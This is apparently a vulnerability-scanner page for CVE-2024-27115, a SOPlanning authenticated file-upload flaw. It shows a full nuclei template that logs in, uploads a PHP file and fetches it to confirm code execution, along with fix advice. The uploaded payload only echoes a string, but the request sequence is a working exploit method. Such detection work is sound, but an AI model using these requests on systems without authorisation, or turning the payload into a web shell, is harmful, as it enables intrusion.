Browse / CVEs / CVE-2024-27115
CVE-2024-27115· CWE-434
SOPlanning - Remote Code Execution
highseverity
10CVSS score
4.6%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it
Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.
Impact
Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution.
Fix
Update SOPlanning to a version newer than 1.52.01.
How to confirm it
Send: POST /process/login.php ; POST /process/upload.php ; GET /upload/files/soonghee/{{filename}}.php
Positive when: contains in body_3 "{{randstr}}" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-27115 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-27115
info:
name: SOPlanning - Remote Code Execution
author: [email protected]
severity: high
description: |
Detects a remote code execution vulnerability in SOPlanning version 1.52.01 through authenticated PHP file upload.
impact: |
Authenticated attackers can upload and execute arbitrary PHP files through the SOPlanning upload functionality, achieving remote code execution.
remediation: |
Update SOPlanning to a version newer than 1.52.01.
reference:
- https://www.exploit-db.com/exploits/52082
- https://nvd.nist.gov/vuln/detail/CVE-2024-27115
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:N/AU:Y/R:I/V:C/RE:M/U:Red
cvss-score: 10.0
cve-id: CVE-2024-27115
cwe-id: CWE-434
epss-score: 0.04628
epss-percentile: 0.91781
cpe: cpe:2.3:a:soplanning:soplanning:*:*:*:*:*:*:*:*
tags: cve,cve2024,soplanning,rce,authenticated,file-upload,intrusive,vuln
variables:
username: "{{username}}"
password: "{{password}}"
filename: "{{rand_base(5)}}"
http:
- raw:
- |
POST /process/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
login={{username}}&password={{password}}
- |
POST /process/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=0ccdfeede39eb97743b39d87536933e1
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="linkid"
soonghee
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="periodeid"
0
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="fichiers"
{{randstr}}.php
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="type"
upload
--0ccdfeede39eb97743b39d87536933e1
Content-Disposition: form-data; name="fichier-0"; filename="{{filename}}.php"
Content-Type: application/x-php
<?php echo '{{randstr}}'; ?>
--0ccdfeede39eb97743b39d87536933e1--
- |
GET /upload/files/soonghee/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '{{randstr}}'
- type: word
part: header
words:
- 'text/html'
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from